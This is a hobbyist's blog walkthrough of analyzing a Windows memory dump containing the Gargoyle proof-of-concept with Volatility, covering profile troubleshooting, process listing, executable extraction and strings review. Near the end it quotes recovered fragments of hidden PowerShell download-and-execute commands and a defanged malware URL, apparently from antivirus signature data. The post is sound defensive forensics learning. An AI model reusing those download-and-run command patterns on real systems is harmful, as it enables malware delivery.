Messing Around with Memory Dumps
Post

Messing Around with Memory Dumps

Why am I here?

This handy tweet was posted on twitter sharing a memory dump to look into. I don’t do much of any memory analysis at work, so I figured I’d stumble through this, write what I found, and see if I can get any better at it.

Here I go

After downloading it, I was off to google. “analyze dmp file windows” got me to this Microsoft doc which asked me to install symbol files properly. This doesn’t seem to be the route I want to take, so my next search was “dumpit windows memory” which led me to this article by Lenny Zeltser. It mentions that you can review dmp files with tools like Volatility, Rekall, and Redline. I used Redline in a training once, but Volatility is something I’ve only messed with, so here I go.

A link in the article took me to the Github repo here, and I clicked around reading directions until I found the usage page, which seems about as Quickstart as I’m going to get. I need to specify a profile and I want to make sure Volatility can at least read the image. I’m going to run the imageinfo argument to make sure Volatility can read it. Volatility offers a standalone executable which seems to be the quickest of the quick starts.

1
2
3
PS C:\Users\computer\Downloads> .\volatility_2.6_win64_standalone\volatility_2.6_win64_standalone.exe imageinfo -f .\WINDEV1912EVAL-20200201-010753_Gargoyle.dmp --profile=Win10x64_18362
Volatility Foundation Volatility Framework 2.6
ERROR   : volatility.debug    : Invalid profile Win10x64_18362 selected

So that’s an invalid profile, back to the usage page and it seems I don’t need to be that specific and Windows10x64 should work fine.

1
2
3
4
5
6
7
8
9
10
11
12
13
PS C:\Users\computer\Downloads> .\volatility_2.6_win64_standalone\volatility_2.6_win64_standalone.exe imageinfo -f .\WINDEV1912EVAL-20200201-010753_Gargoyle.dmp --profile=Win10x64
Volatility Foundation Volatility Framework 2.6
INFO    : volatility.debug    : Determining profile based on KDBG search...
          Suggested Profile(s) : No suggestion (Instantiated with Win10x64)
                     AS Layer1 : Win10AMD64PagedMemory (Kernel AS)
                     AS Layer2 : WindowsCrashDumpSpace64 (Unnamed AS)
                     AS Layer3 : FileAddressSpace (C:\Users\computer\Downloads\WINDEV1912EVAL-20200201-010753_Gargoyle.dmp)
                      PAE type : No PAE
                           DTB : 0x1aa002L
             KUSER_SHARED_DATA : 0xfffff78000000000L
           Image date and time : 2020-02-01 01:07:55 UTC+0000
     Image local date and time : 2020-01-31 17:07:55 -0800

Trying it again with the proper profile listed to dump the processes.

1
2
3
4
5
PS C:\Users\computer\Downloads> .\volatility_2.6_win64_standalone\volatility_2.6_win64_standalone.exe -f .\WINDEV1912EVAL-20200201-010753_Gargoyle.dmp --profile=Win10x64 pslist
Volatility Foundation Volatility Framework 2.6
Offset(V)          Name                    PID   PPID   Thds     Hnds   Sess  Wow64 Start                          Exit
------------------ -------------------- ------ ------ ------ -------- ------ ------ ------------------------------ ------------------------------
PS C:\Users\computer\Downloads>

OK OK so this isn’t working out. No processes listed, I’m gonna read the docs again. I went ahead and followed the installation instructions instead of the using the standalone executable. I only had python 3 installed, so installed python 2 alongside it. This is what I get for booting into Windows. After messing with it for a while and running into uninstalled python pip packages, going into a virtual environment, getting build errors while installing packages, I threw my hands up and booted into linux where I’m more comfortable anyway.

Back on Familiar Ground

Python 2 and 3 are installed already once I boot into Kubuntu, and after simply cloning the repo and a quick pip install distorm3, things worked out of the box! Now the more specific profile is available, which is great. I imagine the problem is memory is mapped differently between Windows versions, and while it is technically Windows 10 64 bit, minor changes mean the parts we’re expecting to see aren’t where we’d expect them to be.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
[computer@desktop:~/gits/volatility] 
$ python2 vol.py -f ~/Desktop/WINDEV1912EVAL-20200201-010753_Gargoyle.dmp --profile=Win10x64_18362 crashinfo
Volatility Foundation Volatility Framework 2.6.1
_DMP_HEADER64:
 Majorversion:         0x0000000f (15)
 Minorversion:         0x000047bb (18363)
 KdSecondaryVersion    0x00000041
 DirectoryTableBase    0x001aa002
 PfnDataBase           0xffffee0000000000
 PsLoadedModuleList    0xfffff80317258130
 PsActiveProcessHead   0xfffff80317248b40
 MachineImageType      0x00008664
 NumberProcessors      0x00000001
 BugCheckCode          0x5454414d
 KdDebuggerDataBlock   0xffffb1084dd45080
 ProductType           0x00000001
 SuiteMask             0x00000110
 WriterStatus          0x45474150
 Comment               PAGEPAGEPAGEPAGEPAGEPAGEPAGEPAGEPAGEPAGEPAGEPAGEPAGEPAGEPAGEPAGEPAGEPAGEPAGEPAGEPAGEPAGEPAGEPAGEPAGEPAGEPAGEPAGEPAGEPAGEPAGEPAGE
 DumpType              Full Dump
 SystemTime            2020-02-01 01:07:55 UTC+0000
 SystemUpTime          4:45:32.650199

Physical Memory Description:
Number of runs: 4
FileOffset    Start Address    Length
00002000      00001000         0009e000
000a0000      00100000         00002000
000a2000      00103000         7fddd000
7fe7f000      7ff00000         00100000
7ff7e000      7ffff000
[computer@desktop:~/gits/volatility] 
$ python2 vol.py -f ~/Desktop/WINDEV1912EVAL-20200201-010753_Gargoyle.dmp --profile=Win10x64_18362 pstree
Volatility Foundation Volatility Framework 2.6.1
Name                                                  Pid   PPid   Thds   Hnds Time
-------------------------------------------------- ------ ------ ------ ------ ----
 0xffffb10840f0b380:csrss.exe                         636    624     10      0 2020-01-31 21:36:46 UTC+0000
 0xffffb108433e3080:wininit.exe                       704    624      1      0 2020-01-31 21:36:46 UTC+0000
. 0xffffb10840b4e1c0:services.exe                     768    704      6      0 2020-01-31 21:36:46 UTC+0000
.. 0xffffb10843feb480:svchost.exe                    6760    768      5      0 2020-01-31 21:37:38 UTC+0000

So in the full process listing, I find Gargoyle.exe pretty quick. Let’s extract it.

1
2
3
4
5
6
7
8
9
 0xffffb108424624c0:winlogon.exe                      948   6956      7      0 2020-01-31 21:38:24 UTC+0000
. 0xffffb1084684e4c0:LogonUI.exe                     1084    948      0 ------ 2020-01-31 21:21:59 UTC+0000
. 0xffffb108429020c0:userinit.exe                    4712    948      0 ------ 2020-01-31 21:39:04 UTC+0000
.. 0xffffb10848b40080:explorer.exe                   4696   4712     87      0 2020-01-31 21:39:04 UTC+0000
... 0xffffb10842e48240:cmd.exe                       3756   4696      2      0 2020-02-01 01:05:43 UTC+0000
.... 0xffffb108461b6480:Gargoyle.exe                 8116   3756      4      0 2020-02-01 01:07:41 UTC+0000
.... 0xffffb10847927080:conhost.exe                  9100   3756      4      0 2020-02-01 01:05:43 UTC+0000
... 0xffffb1084529c080:OneDrive.exe                  6728   4696     25      0 2020-01-31 21:39:33 UTC+0000

Simplest way to extract the executable appears to be dumping it by process pid, as explained in this handy SANS Cheatsheet. I’ll dump it to /tmp.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
[computer@desktop:~/gits/volatility] 
$ python2 vol.py -f ~/Desktop/WINDEV1912EVAL-20200201-010753_Gargoyle.dmp --profile=Win10x64_18362 procdump -p 8116 --dump-dir /tmp
Volatility Foundation Volatility Framework 2.6.1
Process(V)         ImageBase          Name                 Result
------------------ ------------------ -------------------- ------
0xffffb108461b6480 0x0000000000490000 Gargoyle.exe         OK: executable.8116.exe
[computer@desktop:~/gits/volatility] 
$ file /tmp/executable.8116.exe 
/tmp/executable.8116.exe: PE32 executable (console) Intel 80386, for MS Windows
[computer@desktop:~/gits/volatility] 
$ sha256sum /tmp/executable.8116.exe 
be4a359fba64538edca476d04e49641fb2422958af0fa0b7f1ae0e34d5678a89  /tmp/executable.8116.exe
[computer@desktop:~/gits/volatility] 

Checking the hash in Virustotal returns nothing and I’m not going to upload it to avoid spoiling someone else’s fun, so I guess I need to research more. I’m going to dump the command lines of running processes.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
[computer@desktop:~/gits/volatility] 
$ python2 vol.py --plugins=~/gits/plugins/ --profile=Win10x64_18362 -f ~/Desktop/WINDEV1912EVAL-20200201-010753_Gargoyle.dmp cmdline
Volatility Foundation Volatility Framework 2.6.1
************************************************************************
System pid:      4
************************************************************************
Registry pid:     68
************************************************************************
smss.exe pid:    544
..........

conhost.exe pid:   1772
Command line : \??\C:\Windows\system32\conhost.exe 0x4
************************************************************************
Gargoyle.exe pid:   8116
Command line : Gargoyle.exe
************************************************************************
DumpIt.exe pid:   8284
Command line : dumpit.exe

Well that’s not very enlightening. Doing a strings on the executable gives me what I expect would be the console output when this ran.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
bad cast
[-] Couldn't VirtualAllocEx: 
[-] Couldn't open "
[-] Couldn't VirtualProtectEx: 
[ ] Loading "%s" system DLL.
[-] Couldn't LoadLibrary: 
[+] Loaded "%s" at 0x%p.
[-] Couldn't ImageNtHeader: 
[ ] Found executable section "%s" at 0x%p.
[+] Found ROP gadget in section "%s" at 0x%p.
[-] Didn't find ROP gadget in "%s".
[ ] Allocating executable memory for "%s".
[+] Allocated %u bytes for gadget PIC.
[+] Allocated %d bytes for PIC.
[ ] Configuring ROP gadget.
[+] ROP gadget configured.
[ ] Allocating read/write memory for config, stack, and trampoline.
[+] Allocated %u bytes for scratch memory.
[ ] Building stack trampoline.
[+] Stack trampoline built.
[ ] Building configuration.
[+] Configuration built.
[+] Success!
    ================================
    Gargoyle PIC @ -----> 0x%p
    ROP gadget @ -------> 0x%p
    Configuration @ ----> 0x%p
    Top of stack @ -----> 0x%p
    Bottom of stack @ --> 0x%p
    Stack trampoline @ -> 0x%p
gadget.pic
mshtml.dll
setup.pic

Really Digging in and Getting Lost

So let’s go ahead and dump the memory of the process and see what we find, inspired by this article. Again, I’m dumping to /tmp with this syntax $ python2 vol.py --plugins=~/gits/plugins/ --profile=Win10x64_18362 -f ~/Desktop/WINDEV1912EVAL-20200201-010753_Gargoyle.dmp memdump -p 8116 --dump-dir=/tmp . Then I’m going to download floss and take a look at it, hopefully deobfuscating some strings as I look at them.

1
2
3
4
5
[computer@desktop:~/gits/volatility] 
$ chmod +x ~/Downloads/floss; ~/Downloads/floss /tmp/8116.dmp > ouput
ERROR:floss:FLOSS cannot extract obfuscated strings or stackstrings from files larger than 16777216 bytes
[computer@desktop:~/gits/volatility] 

That’s unfortunate. I’m going to use good ol fashioned strings, with the -n 8 flag to tell it to show me only lines 8 characters or longer. You seem to get a lot of 4 character junk from strings, so this eliminates it, and then I’ll dial it back if I don’t get anything interest, to 6 and then drop the flag entirely. When I send it to less, I immediately look for known suspicious keywords, http, powershell, script, even // sometimes. Things that look like base64, I drop into CyberChef and see if they decode. If they don’t, I delete leading characters one by one because you never know where a string got truncated. As I’m scanning this I found a bunch of interesting things, certificates (likely from browsing the web?), all sorts of command line syntax, bits and pieces of applications, and then what I guess is maybe AV Signatures of some kind???

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
!QQThief.E
\injectmsg.exe[INFO]SEND:\sysautorun.inf
!Injector.M
!Injector.gen!AU
a|1d6300642eb985f5e5bc9c21000"local$
=dllstructcreate("byte["&binarylen(
!Yoybot.J
!VBInject.ES
!VBInject.ET
!Obfuscator.IJ
!Rimecud.EK
!Irtri.A
!Irtri.A
!Tofsee.gen!A
aTofsee.D
!Rimecud.EL
!Rimecud.EM
!QQThief.F
!Bancos.TI
!Banker.PY

In the midsts of a lot of this, I find some strings for http requests. Again, I can’t be sure if these are malware signatures or something that was intended to be run by Gargoyle, but they look something like this (I defanged them).

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
F!TEL:HTML/Meadgive!shell
Behavior:Win32/Cerber.C!rsm
TrojanDownloader:PowerShell/Ploprolo.A
hxxp://92.63.197.48/m/tm.exe%temp%\\755069740.exe
file'").invoke('http://
.php','%tmp%\
.exe');&
file'").invoke('http://
.php','%tmp%\doc.'+$
);start('%tmp%\doc.'+$
command$
=('exe');
P.invoke('http://
P/benutzer/profilbearbeiten[.]php','%tmp%\not.'+$
powershell.exe-windowstylehidden(new-objectsystem.net.webclient).downloadfile('http
@.dat','%temp%
.invoke('http://
P/webservices/public/saml2assertionconsumer.php','%tmp%\
.e'+'xe');start('%tmp%\
executionpolicybypass(new-objectsystem.net.webclient).downloadfile('http://

Anyway, at this point, I’m way past knowing exactly what I’m looking at, but I thought this exercise was interesting and really appreciate the work that went into making this available. In the course of this process, I ran into this article which was fascinating but I don’t know what it could have gotten me I didn’t already get?

Maybe Gargoyle looks different depending on when you do the dump, but good on them, their plugin at least ran and did confirm Gargoyle.exe was likely Gargoyle. Maybe I’m so clueless I can’t tell that people like them already did the hard work and its been integrated into volatility and I can just show up not having a clue what I’m doing and feel like I accomplished something. Thanks to everyone who went through so much trouble doing this so I could stumble through this in about an hour and a half over 2 nights.